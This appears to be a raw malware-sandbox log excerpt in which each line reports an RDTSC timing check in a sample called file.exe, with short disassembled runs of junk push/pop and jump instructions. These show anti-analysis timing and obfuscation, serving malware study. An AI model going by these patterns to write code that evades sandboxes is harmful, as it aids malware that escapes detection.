Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A459A2 second address: A459BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6511772C93h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A45B0B second address: A45B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F651112D9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A45B15 second address: A45B38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A45B38 second address: A45B3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A45B3D second address: A45B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A460B2 second address: A460CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jnc 00007F651112D9F6h 0x0000000e ja 00007F651112D9F6h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A48C49 second address: A48C4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A48C4D second address: A48C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jbe 00007F651112D9F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A48F08 second address: A48F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A48F0E second address: A48F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A49056 second address: A49090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edi 0x00000006 pop edi 0x00000007 ja 00007F6511772C86h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 jmp 00007F6511772C8Ch 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 push eax 0x00000019 jmp 00007F6511772C95h 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A49090 second address: A49094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A49094 second address: A4909A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A4A98C second address: A4A996 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F651112D9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A4C142 second address: A4C148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A4E3B1 second address: A4E3EA instructions: 0x00000000 rdtsc 0x00000002 je 00007F651112D9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F651112D9FDh 0x00000010 jmp 00007F651112D9FAh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 jns 00007F651112D9FAh 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 jne 00007F651112D9F6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A4E106 second address: A4E10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A4E10A second address: A4E114 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F651112D9F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A54786 second address: A5478A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5478A second address: A5478E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5478E second address: A5479F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push edi 0x00000008 pushad 0x00000009 jng 00007F6511772C86h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A530E9 second address: A530ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A530ED second address: A53104 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6511772C86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push ecx 0x0000000f js 00007F6511772C86h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A53252 second address: A53273 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jng 00007F651112D9F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A53273 second address: A53278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A53278 second address: A5327E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5327E second address: A53282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A533F2 second address: A533FF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F651112D9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A536CE second address: A536D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A53814 second address: A5381A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF048 second address: 9FF06B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6511772C97h 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF06B second address: 9FF06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF11F second address: 9FF123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A57772 second address: A5777A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A57044 second address: A5704A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5704A second address: A5704E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5A8E9 second address: A5A8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5A8EF second address: A5A8FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F651112D9F6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5A8FC second address: A5A91D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F6511772C96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5B002 second address: A5B009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5B009 second address: A5B012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5B012 second address: A5B026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FEh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A5B026 second address: A5B02A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A61EB2 second address: A61EEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F651112DA00h 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b jc 00007F651112D9F6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62141 second address: A6214C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6214C second address: A62150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62150 second address: A6215A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6511772C86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62C49 second address: A62C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62C4D second address: A62C6D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6511772C86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F6511772C8Ah 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62C6D second address: A62C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62C71 second address: A62C75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62C75 second address: A62C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62F3D second address: A62F53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6511772C8Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62F53 second address: A62F5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62F5C second address: A62F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jnp 00007F6511772C8Eh 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A655DA second address: A655E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A690CB second address: A690D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A685C8 second address: A685CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A685CE second address: A685D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A685D4 second address: A685D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A685D9 second address: A685F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C93h 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F6511772C86h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A685F8 second address: A685FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A68E21 second address: A68E27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A751F5 second address: A7520C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F651112DA01h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7358F second address: A735A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6511772C86h 0x0000000a jns 00007F6511772C86h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A735A0 second address: A735B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 ja 00007F651112D9F6h 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A735B1 second address: A735BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A73C80 second address: A73C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A750A7 second address: A750BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C90h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7304F second address: A73058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7C872 second address: A7C8A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6511772C98h 0x00000009 jmp 00007F6511772C95h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7C8A5 second address: A7C8CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F651112DA00h 0x0000000a popad 0x0000000b je 00007F651112DA10h 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7C8CB second address: A7C8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7C8D1 second address: A7C8D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7C42D second address: A7C437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7C437 second address: A7C43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7C43C second address: A7C446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6511772C86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7C446 second address: A7C44C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8D92A second address: A8D930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8D930 second address: A8D934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8D934 second address: A8D940 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8D491 second address: A8D495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8D495 second address: A8D49B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8F14E second address: A8F154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8F154 second address: A8F15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8F15A second address: A8F15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8F15F second address: A8F17B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F6511772CA0h 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F6511772C86h 0x00000016 js 00007F6511772C86h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A90C5D second address: A90C76 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F651112DA04h 0x00000008 jmp 00007F651112D9FEh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A90C76 second address: A90C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A90C7C second address: A90CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F651112DA03h 0x0000000f jmp 00007F651112DA02h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9BF58 second address: A9BF71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F6511772C93h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA1D48 second address: AA1D4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA1D4E second address: AA1D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA7DA6 second address: AA7DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA7DAC second address: AA7DE0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F6511772C86h 0x00000009 jmp 00007F6511772C98h 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6511772C90h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA7DE0 second address: AA7DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA80CA second address: AA80D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA80D5 second address: AA80D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AAD5E7 second address: AAD601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6511772C91h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AAD601 second address: AAD605 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AAD605 second address: AAD654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6511772C86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F6511772C90h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F6511772C96h 0x00000019 popad 0x0000001a popad 0x0000001b push ebx 0x0000001c pushad 0x0000001d jmp 00007F6511772C92h 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF9B0 second address: ABF9B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACD965 second address: ACD96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACD96D second address: ACD97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 je 00007F651112DA0Ah 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACD97C second address: ACD982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
